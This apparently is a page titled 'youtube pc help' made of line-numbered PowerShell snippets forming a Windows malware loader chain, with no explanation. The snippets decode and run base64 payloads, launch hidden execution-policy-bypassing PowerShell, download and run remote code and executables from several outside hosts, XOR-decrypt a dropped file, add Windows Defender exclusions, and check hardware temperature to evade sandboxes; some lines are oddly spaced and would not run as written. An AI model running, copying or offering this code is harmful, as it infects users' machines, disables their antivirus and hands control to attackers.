youtube pc help

0
1
2
3
4
5
6
7
8
9

ipconfig /flushdns

$DiagnosticsProcess = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DiagnosticsProcess));
Invoke-Expression $UI;

[System.Diagnostics.Process]::Start("powershell", "-NoProfile -ExecutionPolicy Bypass -w 1 -enc `"JABRAFAAIAA9ACAAKAAoACIAewAyAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAHQAcABzADoALwAvAGUAeABlAGMAcgBlAHMAbwB1AHIAYwBlAC4AbAAnACwAJwB0AGQALwBLAEIALwBHAFIAJwAsACcAaAB0ACcAKQArACcARQBFAE4AJwApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoASgBkACAAJwBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACcAOwBTAGUAdAAtAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgBcAEwANQBBACAAKABbAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAXQA6ADoATgBlAHcAKAApACkAOwBTAGUAdAAtAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgByAEEAIAAoACgAKAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATAA1AEEAKQAuAFYAYQBsAHUAZQB8AEcAZQB0AC0ATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAKABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoAXABfACkALgBWAGEAbAB1AGUALgBOAGEAbQBlAC0AbABpAGsAZQAnACoAUgBlAGEAZAAnAH0AKQAuAE4AYQBtAGUAKQA7AFMAZQB0AC0ASQB0AGUAbQAgAFYAYQByAGkAYQBiAGwAZQA6AFwATAA1AEEAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATAA1AEEAKQAuAFYAYQBsAHUAZQAuACgAKABHAGUAdAAtAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgAvAHIAQQApAC4AVgBhAGwAdQBlACkAKAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAAUQBQACAALQBWAGEAbAB1AGUATwBuAGwAeQApACkAOwAkAEgAdQA9ACcAJwA7AFQAcgB5AHsAVwBoAGkAbABlACgAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEgAdQApAC4AVgBhAGwAdQBlACsAPQBbAEMAaABhAHIAXQAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATAA1AEEAKQAuAFYAYQBsAHUAZQAuAFIAZQBhAGQAQgB5AHQAZQAoACkAKQB7AH0AfQBDAGEAdABjAGgAewB9ADsAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEgAdQApAC4AVgBhAGwAdQBlAHwAJgAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAARQAqAHgAdAApAC4AVgBhAGwAdQBlAC4ASQBuAHYAbwBrAGUAQwBvAG0AbQBhAG4AZAAuAEcAZQB0AEMAbQBkAGwAZQB0ACgAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAKgB4AHQAKQAuAFYAYQBsAHUAZQAuAEkAbgB2AG8AawBlAEMAbwBtAG0AYQBuAGQALgAoACgAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAKgB4AHQAKQAuAFYAYQBsAHUAZQAuAEkAbgB2AG8AawBlAEMAbwBtAG0AYQBuAGQAfABHAGUAdAAtAE0AZQBtAGIAZQByAHwAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAewAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIABWAGEAcgBpAGEAYgBsAGUAOgBcAF8AKQAuAFYAYQBsAHUAZQAuAE4AYQBtAGUALQBsAGkAawBlACcAKgBDAG8AbQAqAGUAJwB9ACkALgBOAGEAbQBlACkAKAAnACoAZQAtAEUAeAAqACcALAAkAFQAUgBVAEUALAAkAFQAUgBVAEUAKQApAA==`"") | Out-Null;

exit;
1

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

$QP = (("{2}{0}{1}"-f 'tps://execresource.l','td/KB/GR','ht')+'EEN');
Set-Item Variable:Jd 'Net.WebClient';
Set-Item Variable:\L5A ([Net.WebClient]::New());
Set-Item Variable:rA ((((Get-Variable L5A).Value|Get-Member)|Where-Object{(Get-ChildItem Variable:\_).Value.Name-like'*Read'}).Name);
Set-Item Variable:\L5A (Get-Variable L5A).Value.((Get-Item Variable:/rA).Value)((Get-Variable QP -ValueOnly));
$Hu='';
Try{
    While((Get-Variable Hu).Value+=[Char](Get-Variable L5A).Value.ReadByte()){
        }
    }
Catch{};
(Get-Variable Hu).Value|&(Get-Variable E*xt).Value.InvokeCommand.GetCmdlet((Get-Variable E*xt).Value.InvokeCommand.(((Get-Variable E*xt).Value.InvokeCommand|Get-Member|Where-Object{(Get-ChildItem Variable:\_).Value.Name-like'*Com*e'}).Name)('*e-Ex*',$TRUE,$TRUE))

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

function Get-x6Tm3x {
    $t = Get-WmiObject Win32_PerfFormattedData_Counters_ThermalZoneInformation -Namespace "root\CIMV2"
    if ($t -ne $null) {
        foreach ($i in $t) {
            $c = $i.Temperature / 10.0
            $f = ($c * 9 / 5) + 32
            return ("{0:F2} C : {1:F2} F" -f $c, $f)
        }
    } else {
        [Environment]::Exit(1)
    }
}

17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

$x2fM3d = [ScriptBlock]::Create(("G"+"et-"+"Da"+"te"))
$w9eR1a = ("QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwADsACgAKAEYAdQBuAGMAdABpAG8AbgAgAEMAbwBuAHYAZQByAHQALQBGAHIAbwBtAFMAdAByAGkAbgBnAFQAbwBCAHkAdABlAHMAIAB7AAoAIAAgACAAIABQAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAXQAkAGQAYQB0AGEAKQAKACAAIAAgACAAJABiAHkAdABlAHMAIAA9ACAAJABkAGEAdABhAC4AUwBwAGwAaQB0ACgAJwAtACcAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABfACwAIAAxADYAKQAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABiAHkAdABlAHMACgB9AAoACgBGAHUAbgBjAHQAaQBvAG4AIABEAGUAYwByAHkAcAB0AC0AWABPAFIAIAB7AAoAIAAgACAAIABQAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEALAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABrAGUAeQAKACAAIAAgACAAKQAKACAAIAAgACAAJABrAGUAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJABrAGUAeQApAAoAIAAgACAAIAAkAGQAZQBjAG8AZABlAGQARABhAHQAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAZABhAHQAYQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAZABlAGMAbwBkAGUAZABEAGEAdABhAFsAJABpAF0AIAA9ACAAJABkAGEAdABhAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AEIAeQB0AGUAcwBbACQAaQAgACUAIAAkAGsAZQB5AEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoAF0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABkAGUAYwBvAGQAZQBkAEQAYQB0AGEACgB9AAoACgAkAGgAdAB0AHAAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdAA7AAoAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBlAHgAZQBjAHIAZQBzAG8AdQByAGMAZQAuAGwAdABkAC8ASwBCAC8AZQBuAGMAJwA7AAoAJABwAGEAdABoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAIAArACAAJwB0AGkAYgBfAG0AbwB1AG4AdABlAHIAXwBzAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwA7AAoAJAB0AGEAcwBrACAAPQAgACQAaAB0AHQAcABDAGwAaQBlAG4AdAAuAEcAZQB0AEIAeQB0AGUAQQByAHIAYQB5AEEAcwB5AG4AYwAoACQAdQByAGwAKQA7AAoAJAB0AGEAcwBrAC4AVwBhAGkAdAAoACkAOwAKAAoAJABrAGUAeQAgAD0AIAAiAFQAVQBaAFgAZwBNAGoAUgBhAGEAZQBuADYAZwBWAEUASABHAGQAdABjADgAWgBwAGYAZgA2AGQAVgA1AE0ANwAiAAoAJABkAGUAYwByAHkAcAB0AGUAZABEAGEAdABhACAAPQAgAEQAZQBjAHIAeQBwAHQALQBYAE8AUgAgAC0AZABhAHQAYQAgACQAdABhAHMAawAuAFIAZQBzAHUAbAB0ACAALQBrAGUAeQAgACQAawBlAHkACgAKAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgALAAgACQAZABlAGMAcgB5AHAAdABlAGQARABhAHQAYQApADsACgAkAHAAcgBvAGMAZQBzAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwA7AAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAJABwAGEAdABoADsACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACAAPQAgACQAZgBhAGwAcwBlADsACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAXQA6ADoASABpAGQAZABlAG4AOwAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdAAoACkAOwA=")
$y6uL4q = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($w9eR1a))
$k3mV5x = [ScriptBlock]::Create($y6uL4q)
$j4bN2t = $x2fM3d.Ast
$z7qX1w = $k3mV5x.Ast
$h9gP3d = $j4bN2t.Copy()
$v2mL4k = $z7qX1w.EndBlock.Copy()
$s1dR6j = [System.Management.Automation.Language.ScriptBlockAst]::new(
    $h9gP3d.Extent,
    $null,
    $null,
    $null,
    $v2mL4k,
    $null
)
$r3gY2aBlock = $s1dR6j.GetScriptBlock()
$r3gY2aBlock.Invoke() | Out-String

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$httpClient = New-Object System.Net.Http.HttpClient;
$url = 'https://execresource.ltd/KB/enc';
$path = [System.IO.Path]::GetTempPath() + 'tib_mounter_service.exe';
$task = $httpClient.GetByteArrayAsync($url);
$task.Wait();

$key = "TUZXgMjRaaen6gVEHGdtc8Zpff6dV5M7"
$decryptedData = Decrypt-XOR -data $task.Result -key $key

[System.IO.File]::WriteAllBytes($path, $decryptedData);
$process = New-Object System.Diagnostics.Process;
$process.StartInfo.FileName = $path;
$process.StartInfo.UseShellExecute = $false;
$process.StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden;
$process.Start();

28
29
30
31
32

$k = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SjVQRWI2WEpmbXlLVXF2Nw=="))
$v = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("OWUzMGNhNGU1YTBjN2I1ZWIyMDRkOTZhNGMxOGNiMmU="))
$E = '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'
$D = B  - e $E  - k $k  - v $v
IEX $D;

 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$client = New-Object System.Net.Http.HttpClient;
$url = 'https://execresource.ltd/KB/ENC';
$zipName = [System.IO.Path]::GetRandomFileName() + ".zip";
$zipPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), $zipName);
$task = $client.GetByteArrayAsync($url);
$task.Wait();
[System.IO.File]::WriteAllBytes($zipPath, $task.Result);
$appDir = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('ApplicationData'), [System.IO.Path]::GetRandomFileName());
[System.IO.Directory]::CreateDirectory($appDir);
Start-Sleep -Milliseconds $rnd
[System.IO.Compression.ZipFile]::ExtractToDirectory($zipPath, $appDir);
Start-Sleep -Milliseconds $rnd
$exe = Get-ChildItem -Path $appDir -Filter *.exe -Recurse | Select-Object -First 1
if ($exe -ne $null) {
    $proc = New-Object System.Diagnostics.Process;
    $proc.StartInfo.FileName = $exe.FullName;
    $proc.StartInfo.UseShellExecute = $false;
    $proc.StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden;
    $proc.Start();
}

18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

Add-MpPreference -ExclusionPath "$env:USERPROFILE\AppData"
Add-MpPreference -ExclusionPath "C:\ProgramData"

function FxC {
    param (
        [string]$p
    )
    $x = Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
    return $x -contains $p
}

$z1 = "$env:USERPROFILE\AppData"
$z2 = "C:\ProgramData"

do {
    Start-Sleep -Seconds 1
} until ((FxC -p $z1) -and (FxC -p $z2))

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

function Invoke - ObfuscatedPostRequest {
    $u = @('https', '://ghufal.answermedia.site', '/KB/po', 'st.php');
    $h = @ {
        ('User' + '-Agent') = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/23.0.0.0 Safari/537.36'
    };
    $b = @ {
        source_id = 'YOUTUBE'
    };
    $j = $b|ConvertTo - Json;
    try {
        Invoke - RestMethod  - Uri ([String]::Join('', $u))  - Method Post  - Body $j  - ContentType 'application/json'  - Headers $h
    } catch {}

}

function Invoke - ObfuscatedCode {
    $u = @('https', '://ghufal.answermedia.site', '/KB/CO', 'DD');
    $url = [String]::Join('', $u);
    $j3L2 = @ {
        ('User' + '-Agent') = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/23.0.0.0 Safari/537.36'
    };
    $t9V8 = Invoke - WebRequest  - Uri $url  - UseBasicParsing  - Headers $j3L2;
    $k7P4 = [System.Text.Encoding]::UTF8.GetString($t9V8.Content);
    $i5L6 = Invoke - Expression $k7P4;
    $null = $i5L6;
    Clear - Host 
}

Invoke - ObfuscatedPostRequest;
Invoke - ObfuscatedCode;

0
1
2
3
4
5
6
7

$g91F = 'https://rtattack.baqebei1.online/KB/CODD'
$v38K = @ {
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' 
}

$z04Q = Invoke - WebRequest  - Uri $g91F  - UseBasicParsing  - Headers $v38K
IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content))
clear - host;